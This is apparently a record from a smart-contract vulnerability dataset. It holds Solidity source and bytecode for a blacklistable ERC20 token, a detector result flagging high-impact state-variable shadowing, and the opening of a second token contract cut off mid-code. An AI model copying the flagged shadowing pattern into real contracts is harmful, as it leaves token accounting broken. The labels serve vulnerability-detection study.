function removeBlacklist(address[] memory accounts) public onlyBlacklistAdmin returns (bool) { for(uint i = 0; i < accounts.length; i++) { _removeBlacklist(accounts[i]); } } function _addBlacklist(address account) internal { _blacklist[account] = true; emit BlacklistAdded(account); } function _removeBlacklist(address account) internal { _blacklist[account] = false; emit BlacklistRemoved(account); } } contract SLPToken is ERC20, ERC20Pausable, CoinFactory, Blacklist { string public name; string public symbol; uint8 public decimals; uint256 private _totalSupply; constructor (string memory _name, string memory _symbol, uint8 _decimals) public { _totalSupply = 0; name = _name; symbol = _symbol; decimals = _decimals; } function transfer(address to, uint256 value) public whenNotPaused returns (bool) { require(!isBlacklist(msg.sender), "SLPToken: caller in blacklist can't transfer"); require(!isBlacklist(to), "SLPToken: not allow to transfer to recipient address in blacklist"); return super.transfer(to, value); } function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) { require(!isBlacklist(msg.sender), "SLPToken: caller in blacklist can't transferFrom"); require(!isBlacklist(from), "SLPToken: from in blacklist can't transfer"); require(!isBlacklist(to), "SLPToken: not allow to transfer to recipient address in blacklist"); return super.transferFrom(from, to, value); } }
0x608060405234801561001057600080fd5b50600436106102065760003560e01c80636ef8d66d1161011a57806395d89b41116100ad578063cf7d6db71161007c578063cf7d6db714610b19578063d3ce790514610b75578063dd62ed3e14610bb9578063e5c855c914610c31578063f2fde38b14610c7557610206565b806395d89b4114610986578063998b479214610a09578063a457c2d714610a4d578063a9059cbb14610ab357610206565b80638456cb59116100e95780638456cb59146108aa578063867904b4146108b45780638da5cb5b1461091a5780638f32d59b1461096457610206565b80636ef8d66d1461073457806370a082311461073e5780637911ef9d1461079657806382dc1ec41461086657610206565b806332068e911161019d5780633f4ba83a1161016c5780633f4ba83a1461062457806346fbf68e1461062e5780635c975abb1461068a5780635e612bab146106ac5780636b2c0f55146106f057610206565b806332068e9114610488578063333e99db1461049257806339509351146104ee5780633d2cc56c1461055457610206565b80631e9a6950116101d95780631e9a69501461036e57806323b872dd146103d4578063243f24731461045a578063313ce5671461046457610206565b806306fdde031461020b578063095ea7b31461028e57806316d2e650146102f457806318160ddd14610350575b600080fd5b610213610cb9565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610253578082015181840152602081019050610238565b50505050905090810190601f1680156102805780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102da600480360360408110156102a457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d57565b604051808215151515815260200191505060405180910390f35b6103366004803603602081101561030a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dee565b604051808215151515815260200191505060405180910390f35b610358610e0b565b6040518082815260200191505060405180910390f35b6103ba6004803603604081101561038457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e15565b604051808215151515815260200191505060405180910390f35b610440600480360360608110156103ea57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e89565b604051808215151515815260200191505060405180910390f35b61046261103f565b005b61046c61104a565b604051808260ff1660ff16815260200191505060405180910390f35b61049061105d565b005b6104d4600480360360208110156104a857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b604051808215151515815260200191505060405180910390f35b61053a6004803603604081101561050457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110be565b604051808215151515815260200191505060405180910390f35b61060a6004803603602081101561056a57600080fd5b810190808035906020019064010000000081111561058757600080fd5b82018360208201111561059957600080fd5b803590602001918460208302840111640100000000831117156105bb57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050611155565b604051808215151515815260200191505060405180910390f35b61062c6111f3565b005b6106706004803603602081101561064457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611353565b604051808215151515815260200191505060405180910390f35b610692611370565b604051808215151515815260200191505060405180910390f35b6106ee600480360360208110156106c257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611387565b005b6107326004803603602081101561070657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061140d565b005b61073c611493565b005b6107806004803603602081101561075457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061149e565b6040518082815260200191505060405180910390f35b61084c600480360360208110156107ac57600080fd5b81019080803590602001906401000000008111156107c957600080fd5b8201836020820111156107db57600080fd5b803590602001918460208302840111640100000000831117156107fd57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506114e7565b604051808215151515815260200191505060405180910390f35b6108a86004803603602081101561087c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611585565b005b6108b261160b565b005b610900600480360360408110156108ca57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061176c565b604051808215151515815260200191505060405180910390f35b6109226117e0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61096c611809565b604051808215151515815260200191505060405180910390f35b61098e611860565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156109ce5780820151818401526020810190506109b3565b50505050905090810190601f1680156109fb5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610a4b60048036036020811015610a1f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118fe565b005b610a9960048036036040811015610a6357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611984565b604051808215151515815260200191505060405180910390f35b610aff60048036036040811015610ac957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611a1b565b604051808215151515815260200191505060405180910390f35b610b5b60048036036020811015610b2f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b70565b604051808215151515815260200191505060405180910390f35b610bb760048036036020811015610b8b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b8d565b005b610c1b60048036036040811015610bcf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c13565b6040518082815260200191505060405180910390f35b610c7360048036036020811015610c4757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c9a565b005b610cb760048036036020811015610c8b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d20565b005b60098054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d4f5780601f10610d2457610100808354040283529160200191610d4f565b820191906000526020600020905b815481529060010190602001808311610d3257829003601f168201915b505050505081565b6000600560009054906101000a900460ff1615610ddc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b610de68383611da6565b905092915050565b6000610e04826007611dbd90919063ffffffff16565b9050919050565b6000600354905090565b6000610e2033611b70565b610e75576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252604481526020018061332d6044913960600191505060405180910390fd5b610e7f8383611e9b565b6001905092915050565b6000600560009054906101000a900460ff1615610f0e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b610f1733611068565b15610f6d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260308152602001806133b46030913960400191505060405180910390fd5b610f7684611068565b15610fcc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a81526020018061342d602a913960400191505060405180910390fd5b610fd583611068565b1561102b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260418152602001806132ac6041913960600191505060405180910390fd5b611036848484612089565b90509392505050565b61104833612122565b565b600b60009054906101000a900460ff1681565b6110663361217c565b565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600560009054906101000a900460ff1615611143576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b61114d83836121d6565b905092915050565b600061116033610dee565b6111b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260408152602001806132ed6040913960400191505060405180910390fd5b60008090505b82518110156111ed576111e08382815181106111d357fe5b602002602001015161227b565b80806001019150506111bb565b50919050565b6111fc33611353565b611251576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260308152602001806131df6030913960400191505060405180910390fd5b600560009054906101000a900460ff166112d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f5061757361626c653a206e6f742070617573656400000000000000000000000081525060200191505060405180910390fd5b6000600560006101000a81548160ff0219169083151502179055507f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa33604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b6000611369826004611dbd90919063ffffffff16565b9050919050565b6000600560009054906101000a900460ff16905090565b61138f611809565b611401576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b61140a81612122565b50565b611415611809565b611487576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b61149081612319565b50565b61149c33612319565b565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60006114f233610dee565b611547576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260408152602001806132ed6040913960400191505060405180910390fd5b60008090505b825181101561157f5761157283828151811061156557fe5b6020026020010151612373565b808060010191505061154d565b50919050565b61158d611809565b6115ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b61160881612411565b50565b61161433611353565b611669576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260308152602001806131df6030913960400191505060405180910390fd5b600560009054906101000a900460ff16156116ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b6001600560006101000a81548160ff0219169083151502179055507f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a25833604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b600061177733611b70565b6117cc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252604481526020018061332d6044913960600191505060405180910390fd5b6117d6838361246b565b6001905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614905090565b600a8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156118f65780601f106118cb576101008083540402835291602001916118f6565b820191906000526020600020905b8154815290600101906020018083116118d957829003601f168201915b505050505081565b611906611809565b611978576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b61198181612659565b50565b6000600560009054906101000a900460ff1615611a09576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b611a1383836126b3565b905092915050565b6000600560009054906101000a900460ff1615611aa0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b611aa933611068565b15611aff576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180613280602c913960400191505060405180910390fd5b611b0883611068565b15611b5e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260418152602001806132ac6041913960600191505060405180910390fd5b611b688383612758565b905092915050565b6000611b86826006611dbd90919063ffffffff16565b9050919050565b611b95611809565b611c07576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b611c10816127ef565b50565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611ca2611809565b611d14576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b611d1d8161217c565b50565b611d28611809565b611d9a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b611da381612849565b50565b6000611db333848461298d565b6001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611e44576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806133926022913960400191505060405180910390fd5b8260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611f21576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260298152602001806132576029913960400191505060405180910390fd5b611f3681600354612b8490919063ffffffff16565b600381905550611f8e81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b8490919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a38173ffffffffffffffffffffffffffffffffffffffff167f222838db2794d11532d940e8dec38ae307ed0b63cd97c233322e221f998767a6826040518082815260200191505060405180910390a25050565b6000600560009054906101000a900460ff161561210e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b612119848484612c0d565b90509392505050565b612136816007612cbe90919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167fba73eacdfe215f630abb6a8a78e5be613e50918b52e691bba35d46c06e20d6c860405160405180910390a250565b612190816006612cbe90919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167f15bf0aef1cc552f782bc5ad7121d42ea78efbfbec8dd9e16fb9f37967ad763fb60405160405180910390a250565b6000612271338461226c85600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d7b90919063ffffffff16565b61298d565b6001905092915050565b6001600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff167f44d5fe68b00f68950fb9c1ff0a61ef7f747b1a36359a7e3a7f3324db4b87896760405160405180910390a250565b61232d816004612cbe90919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167fcd265ebaf09df2871cc7bd4133404a235ba12eff2041bb89d9c714a2621c7c7e60405160405180910390a250565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff167f1747ca720b1a174a464b6513ace29b1d3190b5f632b9f34147017c81425bfde860405160405180910390a250565b612425816004612e0390919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167f6719d08c1888103bea251a4ed56406bd0c3e69723c8a1686e017e7bbe159b6f860405160405180910390a250565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156124f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806131966026913960400191505060405180910390fd5b61250681600354612d7b90919063ffffffff16565b60038190555061255e81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d7b90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a38173ffffffffffffffffffffffffffffffffffffffff167fc65a3f767206d2fdcede0b094a4840e01c0dd0be1888b5ba800346eaa0123c16826040518082815260200191505060405180910390a25050565b61266d816006612e0390919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167f9e8b5fbf24fd7f86d2666e8f27ffdeb7c0aa870faa1980ad7290677152938dfa60405160405180910390a250565b600061274e338461274985600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b8490919063ffffffff16565b61298d565b6001905092915050565b6000600560009054906101000a900460ff16156127dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b6127e78383612ede565b905092915050565b612803816007612e0390919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167fa6124c7f565d239231ddc9de42e684db7443c994c658117542be9c50f561943860405160405180910390a250565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156128cf576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602681526020018061320f6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612a13576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806134096024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612a99576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806132356022913960400191505060405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600082821115612bfc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525060200191505060405180910390fd5b600082840390508091505092915050565b6000612c1a848484612ef5565b612cb38433612cae85600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b8490919063ffffffff16565b61298d565b600190509392505050565b612cc88282611dbd565b612d1d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806133716021913960400191505060405180910390fd5b60008260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600080828401905083811015612df9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b612e0d8282611dbd565b15612e80576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f526f6c65733a206163636f756e7420616c72656164792068617320726f6c650081525060200191505060405180910390fd5b60018260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000612eeb338484612ef5565b6001905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612f7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806133e46025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415613001576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806131bc6023913960400191505060405180910390fd5b61305381600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b8490919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506130e881600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d7b90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350505056fe436f696e466163746f72793a20697373756520746f20746865207a65726f206164647265737345524332303a207472616e7366657220746f20746865207a65726f2061646472657373506175736572526f6c653a2063616c6c657220646f6573206e6f742068617665207468652050617573657220726f6c654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f2061646472657373436f696e466163746f72793a2072656465656d2066726f6d20746865207a65726f2061646472657373534c50546f6b656e3a2063616c6c657220696e20626c61636b6c6973742063616e2774207472616e73666572534c50546f6b656e3a206e6f7420616c6c6f7720746f207472616e7366657220746f20726563697069656e74206164647265737320696e20626c61636b6c697374426c61636b6c69737441646d696e526f6c653a2063616c6c657220646f6573206e6f7420686176652074686520426c61636b6c69737441646d696e20726f6c65436f696e466163746f727941646d696e526f6c653a2063616c6c657220646f6573206e6f7420686176652074686520436f696e466163746f727941646d696e20726f6c65526f6c65733a206163636f756e7420646f6573206e6f74206861766520726f6c65526f6c65733a206163636f756e7420697320746865207a65726f2061646472657373534c50546f6b656e3a2063616c6c657220696e20626c61636b6c6973742063616e2774207472616e7366657246726f6d45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373534c50546f6b656e3a2066726f6d20696e20626c61636b6c6973742063616e2774207472616e73666572a165627a7a723058201d47f5923a271bab54342e3c96949578661c14607e2ed5bb60a4871c181f9b430029
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-state", "impact": "High", "confidence": "High"}]}}
9,512
0x1c27d58250cd9cf2015c51c7cc4cff2b38d95cd1
pragma solidity 0.4.19; // File: contracts\ERC20.sol /** * Starndard ERC20 interface: https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); /** * @dev Fix for the ERC20 short address attack. * Remove short address attack checks from tokens(https://github.com/OpenZeppelin/openzeppelin-solidity/issues/261) */ modifier onlyPayloadSize(uint256 size) { require(msg.data.length >= size + 4); _; } } // File: contracts\MultiOwnable.sol /** * FEATURE 2): MultiOwnable implementation * Transactions approved by _multiRequires of _multiOwners&#39; addresses will be executed. * All functions needing unit-tests cannot be INTERNAL */ contract MultiOwnable { address[8] m_owners; uint m_numOwners; uint m_multiRequires; mapping (bytes32 => uint) internal m_pendings; event AcceptConfirm(bytes32 operation, address indexed who, uint confirmTotal); // constructor is given number of sigs required to do protected "multiOwner" transactions function MultiOwnable (address[] _multiOwners, uint _multiRequires) public { require(0 < _multiRequires && _multiRequires <= _multiOwners.length); m_numOwners = _multiOwners.length; require(m_numOwners <= 8); // Bigger then 8 co-owners, not support ! for (uint i = 0; i < _multiOwners.length; ++i) { m_owners[i] = _multiOwners[i]; require(m_owners[i] != address(0)); } m_multiRequires = _multiRequires; } // Any one of the owners, will approve the action modifier anyOwner { if (isOwner(msg.sender)) { _; } } // Requiring num > m_multiRequires owners, to approve the action modifier mostOwner(bytes32 operation) { if (checkAndConfirm(msg.sender, operation)) { _; } } function isOwner(address currentUser) public view returns (bool) { for (uint i = 0; i < m_numOwners; ++i) { if (m_owners[i] == currentUser) { return true; } } return false; } function checkAndConfirm(address currentUser, bytes32 operation) public returns (bool) { uint ownerIndex = m_numOwners; uint i; for (i = 0; i < m_numOwners; ++i) { if (m_owners[i] == currentUser) { ownerIndex = i; } } if (ownerIndex == m_numOwners) { return false; // Not Owner } uint newBitFinger = (m_pendings[operation] | (2 ** ownerIndex)); uint confirmTotal = 0; for (i = 0; i < m_numOwners; ++i) { if ((newBitFinger & (2 ** i)) > 0) { confirmTotal ++; } } AcceptConfirm(operation, currentUser, confirmTotal); if (confirmTotal >= m_multiRequires) { delete m_pendings[operation]; return true; } else { m_pendings[operation] = newBitFinger; return false; } } } // File: contracts\Pausable.sol /** * FEATURE 3): Pausable implementation */ contract Pausable is MultiOwnable { event Pause(); event Unpause(); bool paused = false; // Modifier to make a function callable only when the contract is not paused. modifier whenNotPaused() { require(!paused); _; } // Modifier to make a function callable only when the contract is paused. modifier whenPaused() { require(paused); _; } // called by the owner to pause, triggers stopped state function pause() mostOwner(keccak256(msg.data)) whenNotPaused public { paused = true; Pause(); } // called by the owner to unpause, returns to normal state function unpause() mostOwner(keccak256(msg.data)) whenPaused public { paused = false; Unpause(); } function isPause() view public returns(bool) { return paused; } } // File: contracts\SafeMath.sol /** * Standard SafeMath Library: zeppelin-solidity/contracts/math/SafeMath.sol */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } // File: contracts\Convertible.sol /** * Exchange all my ParcelX token to mainchain GPX */ contract Convertible { function convertMainchainGPX(string destinationAccount, string extra) external returns (bool); // ParcelX deamon program is monitoring this event. // Once it triggered, ParcelX will transfer corresponding GPX to destination account event Converted(address indexed who, string destinationAccount, uint256 amount, string extra); } // File: contracts\ParcelXGPX.sol /** * The main body of final smart contract */ contract ParcelXGPX is ERC20, MultiOwnable, Pausable, Convertible { using SafeMath for uint256; string public constant name = "ParcelX"; string public constant symbol = "GPX"; uint8 public constant decimals = 18; // South Korea - 20000 ETH * int(1 / 0.000268) = 74620000 uint256 public constant TOTAL_SUPPLY = uint256(74620000) * (uint256(10) ** decimals); address internal tokenPool = address(0); // Use a token pool holding all GPX. Avoid using sender address. mapping(address => uint256) internal balances; mapping (address => mapping (address => uint256)) internal allowed; function ParcelXGPX(address[] _multiOwners, uint _multiRequires) MultiOwnable(_multiOwners, _multiRequires) public { require(tokenPool == address(0)); tokenPool = this; require(tokenPool != address(0)); balances[tokenPool] = TOTAL_SUPPLY; } /** * FEATURE 1): ERC20 implementation */ function totalSupply() public view returns (uint256) { return TOTAL_SUPPLY; } function transfer(address _to, uint256 _value) onlyPayloadSize(2 * 32) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } function 